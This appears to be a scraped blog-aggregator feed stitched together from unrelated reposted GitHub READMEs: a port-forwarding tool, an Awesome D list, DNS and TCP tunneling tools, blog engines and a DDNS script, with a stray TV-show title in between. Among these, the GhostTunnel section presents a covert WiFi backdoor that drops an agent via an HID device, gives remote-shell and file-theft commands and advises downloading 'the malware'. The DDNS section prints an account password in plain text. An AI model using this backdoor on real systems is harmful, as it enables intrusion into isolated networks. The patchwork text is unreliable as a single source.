这一步可以不要,也可以使用多次。添加-trans功能,是为了支持多跳转发,2跳,3跳,4跳,等等,应该都是可以的。也就是说,这一步可以执行0次,或者n次. 4).然后,启动mstsc,连接本机 6001 端口,既可连上。 5.支持平台:Windows XP/2003/2003 r2/2008/2008 r2/Vista/7/8。32和64位机器均可以使用。如果以后有需要,可能会发布linux版。至于其他平台,为测试过,如果不支持,也将不予考虑支持。

四.后记

1.关于版权:既然是发布出来的,仅供测试,请勿用于非法目的。
2.说明:程序必然还存在bug或者不合理的地方,欢迎反馈。如果有必要,我会更新的。反馈就写在本帖的评论中。

五.下载地址

链接: http://pan.baidu.com/s/1i4OQyUD密码: a5kn

Awesome D

$
0
0
A curated list of awesome D documents, frameworks, libraries and software.

 Awesome


A curated list of awesome D frameworks, libraries and software. Inspired by awesome-python.
I created this list so that when I needed something in the future, it would be easy to find. Most of the documents and links are collected from the D forum, the D wiki, and the D package repository. Exploring GitHub also helps as many of the libs are hosted there.
If you know an interesting lib/app in D, please tell me by issue or a pull request :-).

Contents

Official Website

Official Website URLs.

Getting Help

For when you're stuck.

People

The people that made D the language it is.
  • Walter Bright - Father of D. Walter Bright is the creator and first implementer of the D programming language and has implemented compilers for several other languages.
  • Andrei Alexandrescu, PhD - C++ guru. Author of The D Programming Language and Modern C++ Design. With Walter Bright, Andrei co-designed many important features of D and authored a large part of D's standard library. Andrei works as a trainer in advanced C++ programming and algorithms and is now actively evangelizing D in the organization.
  • YOU - Please add your information if you've done something interesting in D. It is you, the awesome people that made D awesome.

Events

  • DConf - the premier event where D luminaries exchange knowledge, insight, and inspiration on everything related to the D language and its ecosystem.

Organizations

Organizations that contribute to D projects.
  • D Programming Language - Official Organization, hosts DMD, Phobos and other official tools and libs.
  • LDC Developers - LDC releated projects.
  • DerelictOrg - A GitHub organization hosting all Derelict bindings including OpenGL and other multimedia/game related library bindings. (OpenGL 3, Bgfx, ENet, SDL 2, GLFW 3,OpenGLES, Free Image, Assimp3, libtheora, libogg, libvorbis, SFML 2, libpq, PhysicsFS, Open Dynamics Engine, Lua, DevIL, OpenAL, ALURE).
  • DlangScience -A focal point and first port of call for scientific libraries and tooling for D.
  • Circular Studios - We are a group of game developers at Rochester Institute of Technology building games and game tech. Hosts Dash, a 3D game engine written in D, and other related libs.
  • d-gamedev-team - An organization of gamedev related repos, including a D gamedev toolkit called gfm and an opengl tutorial in D.
  • EMSI - A Career building company that uses D as their main language. Hosts their opensource projects.
  • infognition - Infognition is a self-funded and self-sustained company specializing in video processing and compression technologies for end-users and developers. They provide several opensource video related applications & tools written in D, hosted on bitbucket. They are also porting their main product--Video Enchanser from C/C++ to D.
  • libmir - D's numeric library development team
  • sociomantic labs - Berlin based company specializing in real-time bidding for online advertising. Main sponsor of the annual D language conference. Has open-sourced large parts of their codebase as part of the tsunami organization.
  • Symmetry Investments - Symmetry Investments LP is an investment management company with approximately US$4.7 billion in assets under management as of 31 December 2018. Main sponsor of the Symmetry Autumn of Code. Have sponsored the development of excel-d, dpp, autowrap, mir-algorithm, and various other projects.
  • HuntLabs - A technology group using DLang. Have pure D language implementation of quickly develop server-side applications and build distributed system services.

Books

D related books. You can find another list of books on the Books D wiki page.
  • TDPL - The D Programming Language by Andrei Alexandrescu.
  • Programming in D - A very detailed book about programming in D by Ali Çehreli covering many areas of the language. Has a free online version and is suitable for beginners.
  • D Cookbook - A recipe-packed reference guide filled with practical tasks that are concisely explained to develop and broaden the user's abilities with the D programming language. by Adam D. Ruppe. Here is an interesting review of the book.
  • Learning D - This book is intended for those with some background in a C-family language who want to learn how to apply their knowledge and experience to D. (...) This book will help you get up to speed with the language and avoid common pitfalls that arise when translating C-family experience to D.
  • D Web Development - Whether you are new to the world of D, or already have developed applications in D, or if you want to leverage the power of D for web development, then this book is ideal for you.

Tutorials

D related tutorials.
  • The Dlang Tour - An interactive tutorial for D, inspired by Golang Tour.
  • Pragmatic D tutorial - This is a pragmatic introduction to the D Programming Language. by Andreas Zwinkau.
  • D Template Tutorial - A tutorial dedicated to D Templates. Very good explanation about templates. Has pdf version. by Philippe Sigaud.
  • Component programming in D - An article written by Walter Bright that details how D's functional support leads to a flexible and beautiful component programming style.
  • Component programming with ranges - A detailed blog post about how to do component programming in a idiomatic D way with ranges, with a full working example.
  • Functional image processing in D - A very interesting tutorial about writing an image processing lib in D. Shows the power of D's templates/CTFE/Ranges/UFCS for functional style programming.
  • OpenGL tutorials - OpenGL tutorials in D.

Bare metal / kernel development

Blogs

D related blogs.
  • blog.dlang.org - Official blog.
  • /r/d_language on Reddit - A feed of news and blog posts about D.
  • This week in D - A weekly overview of activity in the D community and brief advice columns to help you get the most out of the D Programming Language.
  • Planet D - A repository of co-authored D-specific blogs maintained by Vladimir Panteleev.
  • D Idioms - A great blog for many useful idioms with D programming.
  • GTK-D coding - Simple examples of how to use GtkD to build GUI applications.

Articles

D related Aritcles.

Package Management

Libraries for package and dependency management.
  • code.dlang.org - Official D library repository. Backed by dub.
  • dub - Official package and build management system for D.

Compilers

Compile software from source code.
  • dmd - The reference compiler for the D programming language. Stable, builds insanely fast, very good for learning and rapid prototyping/development. Currently the frontend is implemented in D, and shared between dmd, ldc and gdc, the backend is implemented in C++.
  • ldc - The LLVM-based D compiler. Uses the DMD frontend and LLVM backend. Builds slower than dmd, but generates more optimized code than DMD. It supports all the target platforms of LLVM.
  • gdc - GNU D Compiler. Use DMD frontend and GCC backend. Currently targets the most platforms due to the use of GCC. Generated code runs faster than DMD in most cases, on par with LDC. In the process of integration with the official GCC toolchain.
  • sdc - The Stupid D Compiler. Written in D. Grows Smarter every day.
  • dil - A compiler for the D programming language. Written in D.

Build Tools

Manage projects and compile software from source code.
  • dub - De facto official package and build management system for D. Will be included officially soon.
  • scons-d - Scons has built-in support for building D projects, thanks to Russel Winder.
  • premake - Premake has built-in support for D projects
  • reggae - meta build system in D
  • Makefile - Makefile template for D projects
  • cmake-d - CMake D Projects
  • cook2 - Fast incremental build tool intended for projects in D
  • button - A universal build system to build your software at the push of a button.
  • wild - Wild build system, used to build the PowerNex kernel

IDE

Integrated Development Environment.
  • Mono-D - A D language addon for Xamarin Studio/MonoDevelop. With dub support.
  • Visual D - Visual Studio extension for the D programming language.
  • DDT - Eclipse plugin for the D programming language.
  • DCD - Independent auto-complete program for the D programming language. Could be used with editors like vim, emacs, sublime text, textadept, and zeus. See editors support.
  • Coedit - IDE for the D programming language, its compilers, tools and libraries.
  • Dlang IDE - D language IDE based on DlangUI. This is a pure D implementation.
  • D Language Server - Language Server Protocol (LSP) implementation for D. Adds modern IDE features to any editor with LSP support (VSCode, Sublime, Atom, Emacs, Vim/Neovim)

Lexers, Parsers, Parser Generators

  • libdparse - A D language lexer and parser, (possibly) future standard D parser/lexer.
  • Martin Nowak's Lexer - A lexer generator.
  • Mono-D's DParser - A D parser written in C# and used in Mono-D.
  • Pegged - A Parsing Expression Grammar (PEG) module written in D.
  • Goldie - Goldie Parsing System.
  • ctpg - Compile-Time Parser (with converter) Generator written in D.
  • dunnart - LALR(1) Parser Generator written in D.

Preprocesors

  • warp - A fast preprocessor for C and C++ used in Facebook infrastructure. Written by Walter Bright.

Javascript

  • higgs - Higgs JavaScript Virtual Machine, implemented in D.

Basic

  • hunt - A refined core library for D programming language. The module has concurrency / collection / event / io / logging / text / serialize and more.
  • hunt-time - A time library and similar to Joda-time and Java.time api.
  • hunt-validation - A data validation library for DLang based on hunt library.

Containers

  • memutils - Overhead allocators, allocator-aware containers and lifetime management for D objects
  • dlib.container - generic data structures (GC-free dynamic and associative arrays and more)
  • std.rcstring - A reference counted string implementation for D's build in string construct

Web Frameworks

Networking library
  • hunt-net - High-performance network library for D programming language, event-driven asynchonous implemention(IOCP / kqueue / epoll).
  • hunt-http - HTTP/1 and HTTP/2 protocol library for D.
  • hunt-stomp - STOMP for websocket protocol library implement in D.
  • libasync - Cross-platform event loop library of asynchronous objects
  • libhttp2 - HTTP/2 library in D, translated from nghttp2
  • collie - An asynchronous event-driven network framework written in dlang, like netty framework in D.
Full stack web frameworks.
  • Hunt Framework - Hunt is a high-level D Programming Language Web framework that encourages rapid development and clean, pragmatic design. It lets you build high-performance Web applications quickly and easily.
  • vibe.d - Asynchronous I/O Web Framework that doesn’t get in your way, written in D.
  • arsd - Adam D. Ruppe's web framework.
  • cmsed - A component library for Vibe that functions as a CMS.
  • Diamond - Full-stack web-framework based on vibe.d, targetting enterprise development and high-performance web solutions for both small and big projects.
RPC library
  • grpc - Grpc for D programming language, hunt-http library based.
  • kissrpc - Fast and light, flatbuffers based rpc framework.
  • Hprose - A very newbility RPC Library for D, and it support 25+ languages now.
  • Apache Thrift - A lightweight, language-independent, featureful RPC framework. Thrift provides clean abstractions for data transport, data serialization, code generation, and application level processing. Dub package
Gossip
  • hunt-gossip - A Apache V2 gossip protocol implementation for D programming language.
Cache
  • hunt-cache - D language universal cache library, using radix, redis and memcached.

Data serialization

Json, XML, protobuf and other data serialization libs.

Binary Serilization

  • flatbuffers - D Programming Language implementation of the google flatbuffers library.
  • cerealed - Serialisation library for D
  • dproto - Google Protocol Buffer support in D.

JSON

  • vibe.data.json - JSON functions in Vibe.d. Currently the best implementation I used.
  • fast.json - A library for D that aims to provide the fastest possible implementation of some every day routines.
  • std.json - D's standard library JSON module. Needs refinement.
  • painlessjson - Convert between D types and std.json.
  • std.data.json - Phobos candidate for JSON serialization (based on Vibed)
  • asdf - Cache oriented string based JSON representation for fast read & writes and serialisatoin.

XML

  • orange - General purpose serializer (currently only supports XML)
  • std.experimental.xml - Phobos candidate for a XML serialization
  • [dom.d] - an xml/html DOM based on what Javascript provides in browsers

Database clients

Clients and bindings to C bliencts for relational and nosql databases.
  • hunt-entity - Hunt entity is an object-relational mapping tool for the D programming language. Referring to the design idea of JPA, support PostgreSQL / MySQL / SQLite.
  • hunt-database - Hunt database abstraction layer for D programing language, support PostgreSQL / MySQL / SQLite.
  • vibe.d - Vibe.d has internal support for Redis and MongoDB, which are very stable. Soon, the database drivers will be separated into independent projects.
  • mysql-native - A MySQL client implemented in native D.
  • ddb - Database access for D2. Currently only supports PostgreSQL.
  • arsd - Adam D. Ruppe's library; in addition to a Web backend, it also has support for database access with database.d, sqlite.d, mysql.d and postgres.d.
  • ddbc - DDBC is a DB Connector for D language (similar to JDBC). HibernateD (see below) uses ddbc for database abstraction.
  • hibernated - HibernateD is an ORM for D (similar to Hibernate).
  • dvorm - An ORM for D with Vibe support. Works with vibe.d and mysql-d, giving it the ability to access MongoDB and MySQL.
  • Tiny Redis - Redis driver for D. Fast, Simple, Stable. Has no dependencies.

Command Line

  • hunt-console - Hunt console creation easier to create powerful command-line applications.
  • tilix - A tiling terminal emulator for Linux using GTK+ 3.
  • scriptlike - Utility library to aid writing script-like programs in D.
  • todod - Todod is a command line based todo list manager. It also has support for shell interaction based on linenoise.
  • d-colorize - A port of the ruby library colorize. It add some methods to set color, background color and text effect on console easier using ANSI escape sequences.
  • terminal.d - Part of Adam Ruppe's arsd library supporting cursor and color manipulation on the console.
  • dexpect - A D implementation of the expect framework. Handy for bash emulation.
  • Argon - A processor for command-line arguments, an alternative to Getopt, written in D.
  • argsd - A command line and config file parser for DLang
  • darg - Robust command line argument parsing for D.

GUI Libs

Libraries for working with graphical user interface applications.
  • DLangUI - Cross Platform GUI for D programming language. My personal favorate, because it is written in D(not a binding), and is cross platform. DLangUI also has a good showcase in the IDE DLangIDE.
  • GtkD - GtkD is a D binding and OO wrapper of GTK+. GtkD is actively maintained and is currently the most stable GUI lib for D.
  • DWT - A library for creating cross-platform GUI applications. GWT is a port of the Java SWT library to D. DWT was promoted as a semi-standard GUI library for D, but unfortunately didn't catch up popularity yet.
  • tkD - GUI toolkit for the D programming language based on Tcl/Tk.
  • dqml - Qt Qml bindings for the D programming language.
  • Sciter-Dport - D bindings for the Sciter - crossplatform HTML/CSS/script desktop UI toolkit.
  • LibUI - Dynamic Binding for libui
Note: You can also find a list of GUI libs on wiki.dlang.org, but not all of the libraries are actively maintained now.

OS

Operating Systems written in D
  • PowerNex - A kernel written in D
  • Trinix - Hybrid operating system for x64 PC written in D
  • XOmB - An exokernel operating system written in D

Game Bindings

Bindings to game development related C libraries.
  • DerelictOrg - A GitHub organization hosting all Derelict bindings including:
    • OpenGL 3 (DerelictGL3),
    • Bgfx (DerelictBgfx),
    • ENet (DerelictENet),
    • SDL 2 (DerelictSDL2),
    • GLFW 3 (DerelictGLFW3),
    • OpenGLES (DerelictGLES),
    • Free Image (DerelictFI),
    • Assimp3 (DerelictASSIMP3),
    • libtheora (DerelictTheora),
    • libogg (DerelictOgg),
    • libvorbis (DerelictVorbis),
    • SFML 2 (DerelictSFML2),
    • libpq (DerelictPQ),
    • PhysicsFS (DerelictPHYSFS),
    • Open Dynamics Engine (DerelictODE),
    • Lua (DerelictLua),
    • DevIL (DerelictIL),
    • OpenAL (DerelictAL),
    • ALURE (DerelictALURE).

Game Frameworks

Games

Video applications

  • DerelictGL3 - A dynamic binding to OpenGL for the D Programming Language.

Image Processing

  • ArmageddonEngine - Vladimir Panteleev's ae library has a package for image processing in functional style, which is described in the article Functional Image Processing in D.
  • Blogsort - A simple Windows app for viewing photos and preparing them for a blog.
  • dlib.image - image processing (8 and 16 bits per channel, floating point operations, filtering, FFT, HDRI, graphics formats support including JPEG and PNG)
  • color.d + bmp.d, jpg.d, png.d - basic color struct, HSL functions and reading and writing image files

End-user applications

  • Drill - Search files without indexing, but clever crawling

Machine Learning

  • vectorflow - Nexflix's opensource deep learning framework.

Parallel computing

Scientific

Scientific programming
  • scid - Scientific library for the D programming language
  • dstats - A statistics library for D.
  • mir - Sandbox for some mir packages: sparse tensors, Hoffman and others.
  • mir-algorithm - N-dimensional arrays (matrixes, tensors), algorithms, general purpose library.
  • mir-random - Advanced Random Number Generators.
  • decimals - Decimal library for D.

Text Processing

  • hunt-markdown - A markdown parsing and rendering library for D programming language. Support commonMark.
  • eBay's TSV utilities - Filtering, statistics, sampling, joins and other operations on TSV files. Very fast, especially good for large datasets.

Logging

Print with care.

Configuration

Parsing configuration files
  • sdlang - An SDL (Simple Declarative Language) library for D.
  • D:YAML - YAML parser and emitter for the D programming language.
  • inifile-D - A compile time ini file parser and writter generator for D

Blog Engine

Hosting blogs yourself
  • mood - simple vibe.d based blog engine

Testing

  • dunit - Advanced unit testing & mocking toolkit
  • unit-threaded - Multi-threaded unit test framework

Other Awesome Lists

Other amazingly awesome lists can be found in the awesome-awesome and awesome-awesomeness projects.

from https://github.com/zhaopuming/awesome-d

【消失的國界特輯│北朝鮮實錄完整版】20170908 揭祕北朝鮮!陀螺女孩魔鬼訓練大公開

linux桌面系统上的vpn程序-tuns

$
0
0
IP over DNS tunnel

TUNS - a simple IP over DNS tunnel
(c) Lucas Nussbaum
Licensed under GPL v3 or later (see COPYING file)

TUNS is a prototype implementation of an IP over DNS tunnel. It is provided
here in the interest of reproducibility of scientific results, so that
evaluations that were carried out can be reproduced by others.

Its main features are:
- simplicity: it's thought to be as simple as possible.
+ no complex DNS stuff (TXT records, EDNS0, ...) ; uses only CNAME records
+ no splitting of IP packets: sets the MTU and forgets about it
- efficiency
+ it's optimized for low latency

Please note that using TUNS on networks that you don't totally control is
illegal in many countries. As stated above, TUNS is only provided so that you
can reproduce results obtained with it, in experimental setups. If you take the
decision to use it for something else, the author of TUNS can't be held
responsible. If you are unsure, please consult with a lawyer.

Installation
There is no real installation script.
* uncompress the tarball.
* install packages needed to build base32.so (in Debian: rake, ruby1.8-dev)
* build base32.so:
cd base32-0.1.1
rake
cd ..
cp base32-0.1.1/ext/base32.so .
* then you can run tuns-client or tuns-server. (see below)

Usage
You need to delegate a DNS zone (using NS records) to the system where TUNS
will run. In the following example, we use dnstunnel.tuns.net.

Client: as root, run tuns-client -d dnstunnel.tuns.net
Server: as root, run tuns-server -d dnstunnel.tuns.net

There's a number of possible options you can use to change default values.
See tuns-client -h and tuns-server -h.

After starting the client, type 'help' to get the online help.

Troubleshooting
The meaning of characters output in client's verbose mode is documented at the
start of the tuns-client file. It can help to understand what's wrong.
 
from https://github.com/lnussbaum/tuns 

一套基于PHP的后台管理程序-aci

$
0
0


这是一套基于PHP的后台管理程序,兼容BOOSTRAP V3.0,集成了用户管理,用户组管理,模块管理,菜单管理,权限管理,非常友好的支持二次开发及代码一站式自定义模块导入,最最关键的一点的基于Codeigniter 。更多信息请访问autocodeigniter.com 
 
侧重点在于:做后台管理,企业级应用,APP管理程序,APP移动应用API接口,做毕业设计更是小菜一碟。

演示版本 http://demo.autocodeigniter.com
视频教程: http://www.youku.com/playlist_show/id_26135511.html
更多信息请访问http://www.autocodeigniter.com
QQ群:138471995

区别于其他权限系统特色
1. 权限可以控制在按钮上面,如果这个页面中的按钮是编辑连接按钮,而当前用户没有权限是不会显示出来的。
2. 增加了模块管理环节,没有注册的模块无法正常使用.

from https://github.com/hubinjie/aci

一个简单的基于 Ruby on Rails 的个人博客系统-Limlog

$
0
0


Limlog 是一个简单的基于 Ruby on Rails 的个人博客系统, 用来练习 Rails 的. 之前做过一个版本, 现已更改地址到 Limlog.old

from https://github.com/dushibaiyu/limlog

Exblog

$
0
0


用nodejs+Express+mongodb写的一个博客系统,初始版本的源代码和设计稿没有做备份,以至全部遗失,只能从头再来。有较长一段时间纠结于如何找回,但最终还是未能如愿,所谓吃一堑长一智,这次教训也将时刻提醒自己。
话不多说,言归正传,该版本将会在之前版本的基础上继续增加相应的功能。之前版本(暂且称为version 1.0.0)已完成功能:
1、 # [checkbox:unchecked] 账号登录  、 2、 - [ ]文章发布(分类/关键词标签/普通编辑器)   3、 - [ ]按时间/标签/分类归档
4、 - [ ]账号信息管理
5、 - [ ]VP统计
6、 - [ ]文章评论/转载/点赞
7、 - [ ]关键字搜索
因此该库的版本将从version 2.0.0开始,使用的技术栈不变,将会采用新的设计,之后的变更都将在此版本上做迭代更新。新增功能(持续更新中):
8、 - [ ]支持Markdown发布文章
9、 - [ ]文章分享

from https://github.com/dushibaiyu/exblog

WiFi Covert Channel -GhostTunnel

$
0
0

Golang version of Ghost Tunnel, or called Wifi Covert Channel.
Hide backdoor payload in 802.11 Probe-req and Beacon Frame.
No actual WiFi connection is required.

Usage

Server

# ./server-linux64 -iface your-monitor-mode-adapter
Compile requirements: gopacket, libpcap or winpcap

Client

Client uses system native WiFi api, so we don't need privilege and additional dependency.
Simply run the client.exe. But I strongly recommend to use P4wnP1 to ship it!
Tips:
Maybe the fastest way is running a HID script to download the malware from P4wnP1's HTTP Server :-)
from https://github.com/AmyangXYZ/GhostTunnel-Go
------

GhostTunnel

GhostTunnel is a covert backdoor transmission method that can be used in an isolated environment. It can attack the target through the HID device only to release the payload (agent), then the HID device can be removed after the payload is released.
GhostTunnel use 802.11 Probe Request Frames and Beacon Frames to communicate and doesn't need to establish a wifi connection. Exactly, it communicates by embedding data in beacon and probe requests. We publish the GhostTunnel server and windows agent implemented in c/c++. The agent doesn't need elevated privileges, it uses the system wifi api to send the probe request and receive the beacon. such as on windows, uses the Native WiFi API. So you can implement the corresponding agent on other platforms. The server runs on linux, you need one or two usb wifi card that supports monitor mode and packet injection to run it.

Advantages

  • Covertness.
  • No interference with the target’s existing connection status and communications.
  • Can bypass firewalls.
  • Can be used to attack strictly isolated networks.
  • Communication channel does not depend on the target’s existing network connection.
  • Allow up to 256 clients
  • Effective range up to 50 meters
  • Cross-Platform Support.
  • Can be used to attack any device with wireless communication module, we tested this attack on Window 7 up to Windows 10, and OSX.

Usage

Server

Only need one or two wireless network cards that supports packet injection and monitor mode, like TP-LINK TL-WN722N, Alfa AWUS036ACH.
Usage:
 ./ghosttunnel [interface]
./ghosttunnel [interface1] [interface2]

COMMANDS:
sessions = list all clients
use = select a client to operate, use [clientID]
exit = exit current operation
wget = download a file from a client, wget [filepath]
quit = quit ghost tunnel
help = show this usage help

Client

Release the payload to the target system (only windows client published) and execute it.

Demo

https://www.youtube.com/watch?v=2s7qFLCafSI

Function Implementation

  • Shell command Create a remote shell.
  • Download file The file maximum size limit is 10M and can only download one file at a time.
  • You can add other functions as needed.

Building

Server Requirements

sudo apt-get install pkg-config libnl-3-dev libnl-genl-3-dev libpcap-dev

Compiling

server:
cd src
make
windows client:
Microsoft Visual Studio 2015
For Nethunter(tested on Nexus5):
  • Add #include on the top in gt_server.cpp
  • apt-get install libpcap0.8-dev
  • cd src && make

Thanks

from https://github.com/PegasusLab/GhostTunnel

DDNS

$
0
0
Solution for ddns and port forward

针对 Ubuntu 操作系统的动态域名解析(Dynamic DNS)方案

快速安装

  • 克隆代码
  git clone https://github.com/LaoLuMian/DDNS.git

  • 填写配置信息
    • 选择本地网卡
    • 填写 noip 账号 (测试用账号 support.matchbox@zoho.com)
    • 填写 noip 账号密码 (测试用密码 opensource2018)
    • 填写域名解析更新周期(分钟),比如 5
  ./DDNS-control config test-config

  • 启动客户端
  ./DDNS-control start test-config
  • 查看运行状态
  ./DDNS-control status test-config
  • 查看域名绑定是否成功
  nslookup laolumian.ddns.net 

卸载

  • 停止运行
  ./DDNS-control stop 
  • 删除配置文件
  ./DDNS-control clean 

查看现有配置

  ./DDNS-control list

更改 DDNS 更新周期

  ./DDNS-control update  
 
from https://github.com/ChineseTeapot/ddns 

Bouncer

$
0
0
Bouncer is a network TCP port redirector/forward proxy (like rinetd) with extra features like Reverse tunneling (like ssh -R), SSL tunneling (like stunnel), connection Failover, LoadBalancing and Clustering. In pure Java.

Bouncer is an open source Java-based network proxy. Do not require any external lib.

Current Stable Version is 2.2.11


DOC

Schema about Forward / Port Redirector (you need ONE bouncer):

Forward / Port Redirector
  1. Machine-A (Client) init connection to Machine-B (Bouncer)
  2. Machine-B init connection to Machine-C (Server)
  3. Done: Machine-A is able to speak with Machine-C
Notes about security:
  • Machine-A (Client) may be in Internal network.
  • Machine-B (Bouncer) may be in DMZ.
  • Machine-C (Server) may be in External network.

Schema about Reverse Tunneling (you need TWO bouncers):

Reverse Tunneling
Machine-A and Machine-B are Bouncers in Client-Server configuration.
  1. Machine-A (MUX-OUT) init connection to Machine-B (MUX-IN)
  2. Machine-D (Client) init connection to Machine-B
  3. Machine-B request to Machine-A new SubChannel over MUX (Tunnel).
  4. Machine-A open connection to Machine-C (Server).
  5. Done: Machine-D is able to speak with Machine-C
Notes about security:
  • Machine-B (MUX-IN) should be in DMZ.
  • Machine-A (MUX-OUT) and Machine-C (Server) may be in internal network.

System Properties (optional)

# To redir stdout/stderr to (auto-daily-rotated) files you can use:
-Dlog.stdOutFile=/var/log/bouncer.out -Dlog.stdErrFile=/var/log/bouncer.err
# To log to stdout too:
-Dlog.stdToo=true
Filenames are a base-pattern, output files they will be: bouncer.xxx.YEAR-MONTH-DAY (bouncer.xxx.2014-12-01)

Config (bouncer.conf)

Config file must be in class-path ${BOUNCER_HOME}/conf/, general format is:
# Forward / Port Redirector
# [opts]

# Reverse Tunneling (Bouncer 2.x syntax)
# [opts]
# [opts]

# Note: can be a coma separated list of addresses, like "srv1,srv2,192.168.1.1"

# Clustering Config
# [opts]
# [opts]
Options are comma separated:
  • Options for outgoing connections
    • Loadbalancing/Failover (only one option can be used)
      • LB=ORDER: active failover-only in order (DNS resolved IP address are sorted, lower first)
      • LB=RR: active LoadBalancing in DNS order (round-robin)
      • LB=RAND: activate LoadBalancing in DNS random order
    • Sticky Session
      • STICKY=MEM:bitmask:elements:ttl[:cluster-id:replication-id]: activate Sticky session based on IP Source Address. Sessions are stored in MEMory, bitmask is a CIDR to apply in source-ip-address (16=Class B, 24=Class C, 32=Unique host), elements for LRU cache, ttl is time to live of elements in cache (seconds), cluster-id and replication-id in cluster environment is cluster identifier and replication identifier respectively.
  • Options for inbound connections
    • PROXY=SEND: use PROXY protocol (v1), generate header for remote server
  • Options for Forward / Port Redirector (rinetd)
    • TUN=SSL: activate SSL/TLS tunneling outbound (destination is SSL/TLS, like stunnel)
      • SSL=client.crt:client.key[:server.crt]: specify files for SSL/TLS config (client mode) (optional)
    • TUN=ENDSSL: activate SSL/TLS tunneling inbound (origin is SSL/TLS, like stunnel)
      • ENDSSL=server.crt:server.key[:client.crt]: specify files for SSL/TLS config (server mode)
  • Options for Reverse Tunneling (MUX)
    • TUN_ID=number: When use Bouncer 2.x syntax you can create multiple Tunnels over same mux, use this ID for associate both ends.
    • Select operation of MUX (only one option can be used) in Bouncer 1.x config
      • MUX=IN: activate input-terminator multiplexor (Bouncer 2.x syntax: mux-in, tun-listen)
      • MUX=OUT: activate output-initiator multiplexor (Bouncer 2.x syntax: mux-out, tun-connect)
    • Options for encryption (optional -AES or SSL or NONE-):
      • MUX=AES: activate AES encryption in multiplexor (see AES=sharedsecret)
        • AES=sharedsecret: specify the password for AES (no white spaces, no comma sign, no equals sign)
        • AESBITS=bits (optional): specify the keysize for AES (default: 128)
        • AESALG=algorithm (optional): specify the transformation for AES (default: AES/CTR/NoPadding)
      • MUX=SSL: activate SSL/TLS encryption in multiplexor (see SSL=xxx)
        • SSL=server.crt:server.key:client.crt: specify files for SSL/TLS config (server/mux-in)
        • SSL=client.crt:client.key:server.crt: specify files for SSL/TLS config (client/mux-out)
  • Options for Clustering (TCP only)
    • Options for encryption (optional -AES or SSL or NONE-):
      • CLUSTER=AES: activate AES encryption in cluster (see AES=sharedsecret)
        • AES=sharedsecret: specify the password for AES (no white spaces, no comma sign, no equals sign)
        • AESBITS=bits (optional): specify the keysize for AES (default: 128)
        • AESALG=algorithm (optional): specify the transformation for AES (default: AES/CTR/NoPadding)
      • CLUSTER=SSL: activate SSL/TLS encryption in cluster (see SSL=xxx)
        • SSL=server.crt:server.key:client.crt: specify files for SSL/TLS config (server/cluster-in)
        • SSL=client.crt:client.key:server.crt: specify files for SSL/TLS config (client/cluster-out)
Notes about LB policies:
  • LB=ORDER: ordering of is preserved, but DNS resolved records are sorted numerically before create address list, Example config: srv3,srv2,10.1.1.1 (DNS query return {10.1.3.7,10.1.3.8} for srv3 and {10.1.2.9,10.1.2.3} for srv2), the resulting Address list will be: {10.1.3.7,10.1.3.8,10.1.2.3,10.1.2.9,10.1.1.1}. All connections will be always for 10.1.3.7, if down, 10.1.3.8, and so on. If Sticky is enabled this have preference over address order (no failback).
  • LB=RR: ordering of is preserved, and DNS resolved records are not sorted numerically before create address list, Example config: srv3,srv2,10.1.1.1 (DNS query return {10.1.3.7,10.1.3.8} for srv3 and {10.1.2.9,10.1.2.3} for srv2), the resulting Address list will be: {10.1.3.7,10.1.3.8,10.1.2.9,10.1.2.3,10.1.1.1}. The connections are rotative over all addresses for all clients, 10.1.3.7,10.1.3.8,...,10.1.1.1,and again 10.1.3.7,... if an address is down, picks next, and so on.... until a full turn.
  • LB=RAND: ordering of is not preserved, and DNS resolved records are not sorted numerically before create address list, instead, all addreses are agregated and shuffled on every connection, Example config: srv3,srv2,10.1.1.1 (DNS query return {10.1.3.7,10.1.3.8} for srv3 and {10.1.2.9,10.1.2.3} for srv2), the resulting Address list can be: {10.1.3.8,10.1.1.1,10.1.3.7,10.1.2.9,10.1.2.3}. The connection first try 10.1.3.8, if down, 10.1.1.1, and so on.... until 10.1.2.3.
Notes about security:
  • If use MUX=SSL or CLUSTER=SSL
    • Keys/Certificates are pairs, must be configured in the two ends (MUX-IN & MUX-OUT)
    • files.crt are X.509 public certificates
    • files.key are RSA Keys in PKCS#8 format (no encrypted)
    • files.crt/.key must be in class-path ${BOUNCER_HOME}/keys/
    • be careful about permissions of "files.key" (unix permission 600 may be good)
  • If use MUX=AES or CLUSTER=AES, you need to protect the "bouncer.conf" from indiscrete eyes (unix permission 600 may be good)
Example config of Forward / Port Redirector (rinetd style):
#  [opts]
0.0.0.0 1234 127.1.2.3 9876
127.0.0.1 5678 encrypted.google.com 443 LB=RR,STICKY=MEM:24:128:300,TUN=SSL
127.0.0.1 8443 encrypted.google.com 443 TUN=ENDSSL,ENDSSL=server.crt:server.key,TUN=SSL
Example config of Reverse Tunnels (equivalent ssh -p 5555 192.168.2.1 -R 127.0.0.1:8080:192.168.1.1:80)
Machine-A (MUX-OUT):
### Bouncer 1.x legacy syntax ###
# MUX-OUT
192.168.1.1 80 192.168.2.1 5555 MUX=OUT

### Bouncer 2.x syntax, with support for multi-port ###
# [opts]
mux-out mux1 127.0.0.1 5555
tun-connect mux1 192.168.2.1 80 TUN_ID=1
tun-connect mux1 192.168.2.1 22 TUN_ID=2
Machine-B (MUX-IN):
### Bouncer 1.x legacy syntax ###
# MUX-IN
192.168.2.1 5555 127.0.0.1 8080 MUX=IN

### Bouncer 2.x syntax, with support for multi-port ###
# [opts]
mux-in mux1 192.168.2.1 5555
tun-listen mux1 127.0.0.1 8080 TUN_ID=1
tun-listen mux1 127.0.0.1 2222 TUN_ID=2
Same example config of Reverse tunnels but SSL/TLS
Machine-A (MUX-OUT):
### Bouncer 1.x legacy syntax ###
# MUX-OUT
192.168.1.1 80 192.168.2.1 5555 MUX=OUT,MUX=SSL,SSL=peerA.crt:peerA.key:peerB.crt

### Bouncer 2.x syntax, with support for multi-port ###
# [opts]
mux-out mux1 127.0.0.1 5555 MUX=SSL,SSL=peerA.crt:peerA.key:peerB.crt
tun-connect mux1 192.168.2.1 80 TUN_ID=1
tun-connect mux1 192.168.2.1 22 TUN_ID=2
tun-connect mux1 192.168.2.1 25 TUN_ID=3
Machine-B (MUX-IN):
### Bouncer 1.x legacy syntax ###
# MUX-IN
192.168.2.1 5555 127.0.0.1 8080 MUX=IN,MUX=SSL,SSL=peerB.crt:peerB.key:peerA.crt

### Bouncer 2.x syntax, with support for multi-port ###
# [opts]
mux-in mux1 192.168.2.1 5555 MUX=SSL,SSL=peerB.crt:peerB.key:peerA.crt
tun-listen mux1 127.0.0.1 8080 TUN_ID=1
